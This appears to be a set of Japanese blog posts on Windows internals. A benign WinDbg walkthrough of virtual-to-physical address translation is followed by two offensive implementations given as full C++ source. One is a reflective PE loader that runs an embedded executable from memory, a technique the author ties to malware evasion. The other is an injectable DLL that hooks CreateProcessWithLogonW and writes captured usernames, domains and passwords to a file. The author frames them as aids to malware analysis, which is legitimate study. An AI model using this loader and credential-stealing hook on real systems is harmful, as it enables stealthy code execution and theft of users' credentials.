#include<iostream>
#include <cstdlib>
int main() {
    unsigned i = 0xDEADBEEF;
    std::cout << "address :  " << std::hex << &i << std::endl;
    std::cout << i << std::endl;
    system("PAUSE");
    return 0;
}

メモリ上に確保された符号なし整数値0xDEADBEEFのアドレスを出力するものだが,当然出力されるアドレスは仮想メモリ空間のアドレスである.

このプログラムを実行すると筆者の環境では0xDEADBEEFのアドレスは0x254dcf584だと表示された.

では,Intel Developers Manualを見つつ,手動で仮想アドレス0x254dcf584を物理アドレスに変換してみよう.

最初にWinDbgでEx1.exeプロセスのコンテキストに移動する.

0: kd> !process 0 0 Ex1.exe
PROCESS ffffa7893d8b9080
    SessionId: 1  Cid: 1c98    Peb: 254e82000  ParentCid: 1388
    DirBase: 11a13002  ObjectTable: ffffb800c9723500  HandleCount:  41.
    Image: Ex1.exe
0: kd> .process /i /p ffffa7893d8b9080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`67fca210 cc              int     3

ddで確認すると確かにこの仮想アドレスに0xDEADBEEFが見つかる.

0: kd> dd 254dcf584
00000002`54dcf584  deadbeef cccccccc cccccccc cccccccc
00000002`54dcf594  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5a4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5b4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5c4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5d4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5e4  cccccccc cccccccc cccccccc cccccccc
00000002`54dcf5f4  cccccccc cccccccc cccccccc cccccccc

これを物理アドレスに変換する.

事前準備として仮想アドレス0x254dcf584をマニュアルに従って分割しておく.

f:id:snoozekvn:20200325103807j:plain

まず,CR3レジスタに格納された値からPML4テーブルへのアドレスを取得する.

0: kd> r cr3
cr3=0000000011a13002
0: kd> !dq 0000000011a13002
#11a13000 8a000000`3bb20867 00000000`00000000
#11a13010 8a000000`41629867 00000000`00000000
#11a13020 00000000`00000000 00000000`00000000
#11a13030 00000000`00000000 00000000`00000000
#11a13040 00000000`00000000 00000000`00000000
#11a13050 00000000`00000000 00000000`00000000
#11a13060 00000000`00000000 00000000`00000000
#11a13070 00000000`00000000 00000000`00000000

エントリが2つあるが,今回は仮想アドレスの47~39bitの9bitが全て0であるため,最初のエントリ8a000000`3bb20867が求める値だとわかる.

次にPDPT内の対応するエントリへのアドレスを求める.

8a000000`3bb20867の51~12bitと,仮想アドレスのの38~30bitを使って対応するアドレスを求める.

0x8による乗算は各エントリのサイズによるものだ.

0: kd> !dq 000000`3bb20000 + 0x9 * 0x8  
#3bb20048 0a000000`2ef21867 00000000`00000000
#3bb20058 00000000`00000000 00000000`00000000
#3bb20068 00000000`00000000 00000000`00000000
#3bb20078 00000000`00000000 00000000`00000000
#3bb20088 00000000`00000000 00000000`00000000
#3bb20098 00000000`00000000 00000000`00000000
#3bb200a8 00000000`00000000 00000000`00000000
#3bb200b8 00000000`00000000 00000000`00000000

これでPDEが求まった. 同じように,0a000000`2ef21867の51~12bitと,仮想アドレスのの29~21bitを使って対応するアドレスを求める.

0: kd> !dq 000000`2ef21000 + 0xa6 * 0x8
#2ef21530 0a000000`67131867 0a000000`64722867
#2ef21540 00000000`00000000 00000000`00000000
#2ef21550 00000000`00000000 00000000`00000000
#2ef21560 00000000`00000000 00000000`00000000
#2ef21570 00000000`00000000 00000000`00000000
#2ef21580 00000000`00000000 00000000`00000000
#2ef21590 00000000`00000000 00000000`00000000
#2ef215a0 00000000`00000000 00000000`00000000

これでPTEが求まった. 続けて,0a000000`67131867の51~12bitと,仮想アドレスのの20~12bitを使って対応するアドレスを求める.

0: kd> !dq 000000`67131000 + 0x1cf * 0x8
#67131e78 84000000`417d3867 00000000`00000000
#67131e88 00000000`00000000 00000000`00000000
#67131e98 00000000`00000000 00000000`00000000
#67131ea8 00000000`00000000 00000000`00000000
#67131eb8 00000000`00000000 00000000`00000000
#67131ec8 00000000`00000000 00000000`00000000
#67131ed8 00000000`00000000 00000000`00000000
#67131ee8 00000000`00000000 00000000`00000000

最後に,84000000`417d3867の51~12bitと,仮想アドレスのの11~0bitを使って物理アドレスを求める.

0: kd> !dq 000000`417d3000 + 0x584
#417d3580 deadbeef`cccccccc cccccccc`cccccccc
#417d3590 cccccccc`cccccccc cccccccc`cccccccc
#417d35a0 cccccccc`cccccccc cccccccc`cccccccc
#417d35b0 cccccccc`cccccccc cccccccc`cccccccc
#417d35c0 cccccccc`cccccccc cccccccc`cccccccc
#417d35d0 cccccccc`cccccccc cccccccc`cccccccc
#417d35e0 cccccccc`cccccccc cccccccc`cccccccc
#417d35f0 cccccccc`cccccccc cccccccc`cccccccc

これにより,確かに0xDEADBEEFが存在する仮想アドレス0x254dcf584から,物理アドレス0x417d3584へと変換することができた.

WinDbgには,!vtopや!pte等のエクステンションコマンドが用意されており,物理アドレスを求めるには通常こちらを使えばよい.

例えば!pteでは以下のようにして仮想アドレスから物理アドレスを求める.

0: kd> !pte 254dcf584                                           VA 0000000254dcf584
PXE at FFFFF8FC7E3F1000    PPE at FFFFF8FC7E200048    PDE at FFFFF8FC40009530    PTE at FFFFF880012A6E78
contains 8A0000003BB20867  contains 0A0000002EF21867  contains 0A00000067131867  contains 84000000417D3867
pfn 3bb20     ---DA--UW-V  pfn 2ef21     ---DA--UWEV  pfn 67131     ---DA--UWEV  pfn 417d3     ---DA--UW-V

PFNが417d3であるから,物理アドレス0x417d3000に仮想アドレスの下位3バイト0x584を加算したものが物理アドレスである.

メモリダンプから確認する

FTK imagerなどでメモリダンプを取り,それをバイナリエディタで開く. 以下はHxDでオフセット417d3580を見ると,0xDEADBEEFが見つかり確かに物理アドレスに変換できていることが確認できる.

f:id:snoozekvn:20200325103810j:plain

以上.

参考

babyron64.hatenablog.com

mumumu-bin.hatenadiary.jp

www.triplefault.io

rayanfam.com

https://i.blackhat.com/USA-19/Thursday/us-19-Sardar-Paging-All-Windows-Geeks-Finding-Evil-In-Windows-10-Compressed-Memory-wp.pdf

http://index-of.es/EBooks/NX-bit.pdf

https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf

ReflectivePELoaderを実装してみる

ReflectivePELoaderを実装してみる

ディスク上のEXEやDLLは,Windowsが提供するPEローダによって,セクションの展開やベース再配置,IATの解決など,実行可能な状態に調整されながらメモリ上にロードされる.

これはディスク上のPEファイルをそのままメモリ上にロードしただけでは実行することができないことを意味する.

マルウェアなどは解析妨害・検知回避のために,リソースファイルとしてPEファイルを保持し,あるいは一度ディスク上に暗号化されたファイルをドロップした後,自前のローダを使用してこれをメモリ上に展開し実行することがある.

このようなテクニックは一般に,ReflectivePELoaderと呼ばれる.

本稿では,以下のリポジトリを参考にこのReflectivePELoaderを実装してみる.

github.com

本稿が,マルウェア解析やテクニック理解への手助けになれば幸いだ.

ReflectivePELoaderの概要

WindowsのPEローダは大まかに以下のような手順を経て,ディスク上のPEファイルをメモリ上にロードする.

  1. ディスク上のPEファイルを開き、DOSおよびPEヘッダを確認する
  2. 対象ファイル内のPEHeader.OptionalHeader.ImageBaseに指定されたアドレスに、PEHeader.OptionalHeader.SizeOfImageで指定されたバイト分メモリを確保する
  3. セクションヘッダを解析し、IMAGE_SECTION_HEADER構造体のVirtualAddressに基づき、確保したメモリブロックに各セクションをコピーする
  4. ImageBaseと異なるメモリブロックが確保された場合、コードやデータセクションの種々の依存関係を調整する。(ベース再配置)
  5. ライブラリに必要なインポートを、対応するライブラリをロードして解決する。(IATの解決)
  6. PEのエントリーポイント(AddressOfEntryPoint)を呼び出す

本稿では,これら一連の処理をエミュレートしたローダを実装し,実際にリソースとしてローダ内部に組み込まれたEXEファイルを動かしてみる.

ローダが利用するPEファイルフォーマットの重要箇所

PEファイルはメモリ上にそのままロードすれば動くというものではなく,実行可能にするにはいくかの調整が必要となることは既に述べた.

以下にローダによる調整が必要な箇所を列挙する.

  • セクションの展開
  • イメージベースの再配置
  • IATの解決

最低限これだけ押さえておけば,筆者の経験上ミニマルなEXEは動くはずである,

それぞれに必要な処理は以前の記事で既に解説済みであるため,必要であれば参照していただきたい.

snoozy.hatenablog.com

ローダにロード対象ファイルをリソースとして持たせる

Visual Studio 2019で,あるプログラムにリソースとしてファイルを組み込むには以下のようにすればよい.

ソリューションエクスプローラから当該プロジェクトを選択. 「リソースファイル」を右クリックし,「追加」内の「リソース」を選択する.

f:id:snoozekvn:20200318221449j:plain

リソースの追加ウィンドウから「インポート」を選択し,リソースにしたいファイルを選択する.

f:id:snoozekvn:20200318221452j:plain

「インポート」からファイルを選択した場合,カスタムリソースとして扱われ,リソースの種類を定義する必要がある.

f:id:snoozekvn:20200318221416j:plain

以下のようなフォルダ構成になっていればうまく構成できている.

f:id:snoozekvn:20200318221425j:plain

この時点でコンパイルすると,リソースセクションにロード対象が組み込まれたファイルが出力される.

ResourceHackerで確認すると確かにリソースとして組み込まれていることが確認できる.

f:id:snoozekvn:20200318221442j:plain

またPE-bearを使用するとファイル構造が視覚的になって分かりやすいのではないだろうか.

f:id:snoozekvn:20200318221436j:plain

リソースの読み込み

組み込まれたリソースには以下のようにしてアクセスする.

     HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCETYPE1), L"ResourceType");
        DWORD peSize = SizeofResource(NULL, hResource);
        HGLOBAL pe = LoadResource(NULL, hResource);
        LPVOID peBytes = VirtualAlloc(NULL, peSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(peBytes, pe, peSize);

FindResourceでリソースハンドルを取得し,VirtualAllocで確保したメモリ領域へコピーする. その後,コピーしたデータを実行可能なように調整を加えながら展開する.

FindResourceの引数には説明が必要だろう.

第1引数hModuleには、リソースが入ったモジュールのハンドルを指定する.今回は自分自身内のリソースなのでNULL指定でよい.

第2引数lpNameには、リソースの識別子を指定する.識別子はresource.hに自動的に定義されたものを使用する.

第3引数lpType にはリソースの型を指定する.今回はカスタムリソースであり,「カスタムリソースの種類」ウィンドウで入力した適当な名前"ResourceType"を指定する.

メモリ上に展開したEXEファイルの実行

ロードしたEXEファイルを実行するには,AddressOfEntryPointを使って関数ポインタを作成し,この関数を呼び出すことで実行できる.

 using PEEntry = VOID(*)();
    PEEntry PEmain = (PEEntry)((DWORD_PTR)peBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
    PEmain();

コード

以下がコードの全体像.

#include <iostream>
#include <Windows.h>
#include  "resource.h"

    typedef struct BASE_RELOCATION_BLOCK {
        DWORD PageAddress;
        DWORD BlockSize;
    } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

    typedef struct BASE_RELOCATION_ENTRY {
        USHORT Offset : 12;
        USHORT Type : 4;
    } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;


    int main()
    {

        HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCETYPE1), L"ResourceType");
        DWORD peSize = SizeofResource(NULL, hResource);
        HGLOBAL pe = LoadResource(NULL, hResource);
        LPVOID peBytes = VirtualAlloc(NULL, peSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(peBytes, pe, peSize);

        PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)peBytes;
        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)peBytes + dosHeaders->e_lfanew);
        SIZE_T peImageSize = ntHeaders->OptionalHeader.SizeOfImage;

        LPVOID peBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, peImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        DWORD_PTR deltaImageBase = (DWORD_PTR)peBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

        std::memcpy(peBase, peBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

        PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
        for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
        {
            LPVOID sectionDestination = (LPVOID)((DWORD_PTR)peBase + (DWORD_PTR)section->VirtualAddress);
            LPVOID sectionBytes = (LPVOID)((DWORD_PTR)peBytes + (DWORD_PTR)section->PointerToRawData);
            std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
            section++;
        }

        IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)peBase;
        DWORD relocationsProcessed = 0;

        while (relocationsProcessed < relocations.Size)
        {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
            relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
            DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

            for (DWORD i = 0; i < relocationsCount; i++)
            {
                relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

                if (relocationEntries[i].Type == 0)
                {
                    continue;
                }

                DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
                DWORD_PTR addressToPatch = 0;
                ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)peBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
                addressToPatch += deltaImageBase;
                std::memcpy((PVOID)((DWORD_PTR)peBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
            }
        }

        PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
        IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)peBase);
        LPCSTR libraryName = "";
        HMODULE library = NULL;

        while (importDescriptor->Name != NULL)
        {
            libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)peBase;
            library = LoadLibraryA(libraryName);

            if (library)
            {
                PIMAGE_THUNK_DATA thunk = NULL;
                thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)peBase + importDescriptor->FirstThunk);

                while (thunk->u1.AddressOfData != NULL)
                {
                    if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                    {
                        LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                        thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
                    }
                    else
                    {
                        PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)peBase + thunk->u1.AddressOfData);
                        DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
                        thunk->u1.Function = functionAddress;
                    }
                    ++thunk;
                }
            }

            importDescriptor++;
        }

        using PEEntry = VOID(*)();
        PEEntry PEmain = (PEEntry)((DWORD_PTR)peBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
        PEmain();
    
        CloseHandle(pe);
        HeapFree(GetProcessHeap(), 0, peBytes);

        return 0;
    }

デモ

以下は実際に動作させてみた様子.

f:id:snoozekvn:20200318221445j:plain

うまく動作できているようだ.

デバッガを使ってメモリ内を見てみると確かにロードされていることがわかる.

f:id:snoozekvn:20200318221421j:plain

MALISOUSという文字は,筆者が分かりやすいようにロード対象のリソースファイルにハードコードしたもの. (綴りを間違っているのはご容赦願いたい)

リソースファイルの扱いで少々オバーヘッドがあるが,ReflectivePELoaderのコンセプトは再現できたのではないだろうか.

参考

ired.team

https://www.blackhat.com/docs/us-16/materials/us-16-Nipravsky-Certificate-Bypass-Hiding-And-Executing-Malware-From-A-Digitally-Signed-Executable-wp.pdf

メモリパッチによるAPIフックコードの実装をやってみる

メモリパッチによるAPIフックコードの実装をやってみる

今回は後学のために,FridaやMicrosoft Detoursなどの便利なライブラリやフレームワークに頼らないAPIフックコードの実装をやってみる.

フック処理を行うプログラムをDLLとして作成し,これをターゲットプロセスへDLLインジェクションで注入する. 最終的に資格情報をファイルとして出力させることを目標とする.

フック対象APIの調査

PowerShellのStart-Processコマンドレットなどのオプションに-Credentialを付けると続けて資格情報の入力を求められる.

これにより,あるプロセスを別のユーザーやドメインのセキュリティコンテキストで実行させることができる.

この動作をAPI Monitorで追ってみるとプロセスの作成にはWin32APIのCreateProcessWithLogonWを使用していることがわかる.

f:id:snoozekvn:20200229090447j:plain

MSDNによるとこのAPIのプロトタイプは次のようになっている.

BOOL CreateProcessWithLogonW(
  LPCWSTR               lpUsername,
  LPCWSTR               lpDomain,
  LPCWSTR               lpPassword,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

このAPI冒頭数バイトを不正な関数へとジャンプする機械語へと書き換えることでフックを行う.

APIフックコードの概要

フックコードの実装は大まかに次のようにすればよいだろう.

  1. ターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWへのアドレスの特定
  2. CreateProcessWithLogonWが見つかった場合,このAPIの先頭12バイトを不正な関数へジャンプする機械語に置き換える
  3. 不正な関数内で資格情報をインターセプト
  4. システムが正常に処理を完了できるように,インターセプトした資格情報を使って正規のCreateProcessWithLogonWを呼び出す

不正な関数では,資格情報をファイルとして書き出した上で,システムが正常に処理を完了できるように正規のCreateProcessWithLogonWを呼び出す.

CreateProcessWithLogonWAPIの特徴点

フック処理を行う前に,先んじてターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWのアドレスを特定する必要がある.

DLLからエクスポートされている関数をフックする場合,その関数へのアドレスは関数ポインタなどを利用することによって簡単に求めることができる。

しかし今回はこの方法ではなく,特徴点となる機械語でターゲットプロセス内のメモリ空間を探索するという方針でやってみる.

まずはCreateProcessWithLogonWの特徴点となる機械語を特定する.

ここでいう特徴点とはCreateProcessWithLogonW内部だと判定できる一意な機械語のことを指す.

特徴点となる機械語の求め方はいろいろあると思うが,今回は練習もかねてWinDbgを使って求めてみる.

MSDNによると,CreateProcessWithLogonWはAdvapi32.dllからエクスポートされていることがわかる.

WinDbgで特定の関数へのアドレスを求めるには次のようにすればよい.

まずWinDbgPowerShellにアタッチし,ロードされているモジュールを列挙する.

0:026> lm
start             end                 module name
00007ff7`d2ed0000 00007ff7`d2f41000   powershell   (pdb symbols)          C:\ProgramData\Dbg\sym\powershell.pdb\D2F07EB4AF4CA8F5362A77028F6214F11\powershell.pdb
00007ff8`7e090000 00007ff8`7ed93000   Microsoft_PowerShell_Commands_Utility_ni   (deferred)             
00007ff8`7eda0000 00007ff8`80e06000   System_Management_Automation_ni   (deferred)             
00007ff8`90bc0000 00007ff8`90dda000   OpcServices   (deferred)             
00007ff8`91480000 00007ff8`9166d000   Microsoft_CSharp_ni   (deferred)             
// 省略
00007ff8`e5bc0000 00007ff8`e5c63000   ADVAPI32   (deferred)             
// 省略

続いてADVAPI32内の関数を列挙する.

0:026> x /D ADVAPI32!a*
 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

00007ff8`e5bd7294 ADVAPI32!AccProvpLoadMartaFunctions (void)
00007ff8`e5bd73e0 ADVAPI32!AccProvpGetStringFromRegistry (void)
00007ff8`e5bd52a0 ADVAPI32!AppmgmtInitialize (void)
00007ff8`e5bcc540 ADVAPI32!AllocateAndInitializeExtObject (void)
00007ff8`e5bda6dc ADVAPI32!AccProvpInitProviders (void)
// 省略

この中からCreateProcessWithLogonWを検索すればよい.

検索をかけていくと次のような出力を得る.

// 省略
00007ff8`e5bf3028 ADVAPI32!CodeAuthzpComputeImageHash (CodeAuthzpComputeImageHash)
00007ff8`e5bca434 ADVAPI32!CodeAuthzGuidIdentsLoadTableAll (CodeAuthzGuidIdentsLoadTableAll)
00007ff8`e5c028c0 ADVAPI32!CreateProcessWithLogonW (CreateProcessWithLogonW)
00007ff8`e5bdc880 ADVAPI32!CreateServiceEx (CreateServiceEx)
// 省略

これにより,CreateProcessWithLogonWはアドレス00007ff8`e5c028c0にロードされていることがわかった.

MemoryウィンドウとDisassemblyウィンドウで確認してみる.

f:id:snoozekvn:20200228055004j:plain

特徴点として選択する機械語はどこでもよいが,今回は関数先頭からの数十バイト程度を選択した.

0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48

試しにHxDなどでこの値を検索してみると確かに1件しかヒットせず,一意な機械語になっていることがわかる.

f:id:snoozekvn:20200228082159j:plain

これでCreateProcessWithLogonWの特徴点となる機械語が求まった.

この機械語をもとにターゲットプロセス内のメモリ空間を探索することで,パッチを当てる部分を特定する.

フック処理

メモリ空間を探索し,特徴点となる機械語がヒットしたら,次はその部分を不正な関数へとジャンプさせる機械語へと書き換える.

フック処理部分は,解説を読むよりも最初にコードを見てもらったほうが理解しやすいだろう.

void installCreateProcessWithLogonW()
{
    // 無限ループ回避用遅延
    Sleep(1000 * 2);

    // ターゲットモジュール内のイメージ領域サイズを取得
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    // ターゲットモジュールのイメージ領域内を特徴点で探索し,CreateProcessWithLogonWのアドレスを求める
    addressOfCreateProcessWithLogonW =(LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);

    // フック前の正規な機械語を保存
    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // フック処理準備 "mov rax, &hookedCreateProcessWithLogonW; jmp rax"; となるように機械語を準備する
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    // フック処理
    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);
}

フック前,つまりWriteProcessMemoryにより機械語が書き換えられる前が以下の画像.

f:id:snoozekvn:20200228064506j:plain

処理を進めると次の画像のように値が書き換わるのが確認できる.

f:id:snoozekvn:20200228064517j:plain

これにより,CreateProcessWithLogonWが呼び出された際に,不正な関数へとジャンプするようになった.

コード

作成したコードは以下.

#include<pch.h>
#include <iostream>
#include <stdio.h>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
#include <userenv.h>


#pragma comment(lib, "Userenv")

using _CreateProcessWithLogonW = NTSTATUS(NTAPI*)(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
char PatternCreateProcessWithLogonW[] = { 0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48 };

// mov rax, &CreateProcessWithLogonW
char PatchCreateProcessWithLogonW[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfCreateProcessWithLogonW = NULL;
char bytesToRestoreCreateProcessWithLogonW[12] = { 0 };
void installCreateProcessWithLogonW();


PVOID GetPatternMemoryAddress(char* startAddress, char* pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int index = 0;
    PVOID patternAddress = NULL;
    char* patternByte = 0;
    char* memoryByte = 0;

    do
    {
        if (startAddress[index] == pattern[0])
        {
            for (size_t i = 1; i < patternSize; i++)
            {
                *(char*)&patternByte = pattern[i];
                *(char*)&memoryByte = startAddress[index + i];

                if (patternByte != memoryByte)
                {
                    break;
                }

                if (i == patternSize - 1)
                {
                    patternAddress = (LPVOID)(&startAddress[index]);
                    return patternAddress;
                }
            }
        }
        ++index;
    } while (index < searchBytes);

    return (PVOID)NULL;
}

NTSTATUS NTAPI hookedCreateProcessWithLogonW(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
    HANDLE file = CreateFile(TEXT("C:\\temp\\credentials.txt"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);

    //debug
    //printf("lpUsername: %ls\n", lpUsername);
    //printf("lpPassword: %ls\n", lpPassword);

    // output 
    DWORD bytesWritten = 0;
    WriteFile(file, lpUsername, lstrlen(lpUsername) * 2, &bytesWritten, NULL);
    WriteFile(file, "@", 2, &bytesWritten, NULL);
    WriteFile(file, lpDomain, lstrlen(lpDomain) * 2, &bytesWritten, NULL);
    WriteFile(file, ":", 2, &bytesWritten, NULL);
    WriteFile(file, lpPassword, lstrlen(lpPassword) * 2, &bytesWritten, NULL);
    CloseHandle(file);

    //unhook
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, bytesToRestoreCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW), NULL);

    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installCreateProcessWithLogonW, NULL, NULL, NULL);

    _CreateProcessWithLogonW originalCreateProcessWithLogonW = (_CreateProcessWithLogonW)addressOfCreateProcessWithLogonW;
    return originalCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, pApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
}

void installCreateProcessWithLogonW()
{
    Sleep(1000 * 2);
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);
    addressOfCreateProcessWithLogonW = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials);

    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // hook advapi32!CreateProcessWithLogonW  "mov rax, &hookedCreateProcessWithLogonW; jmp rax";
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);

}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        OutputDebugString(TEXT("=================\n"));
        installCreateProcessWithLogonW();
        OutputDebugString(TEXT("=================\n"));
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

デモ

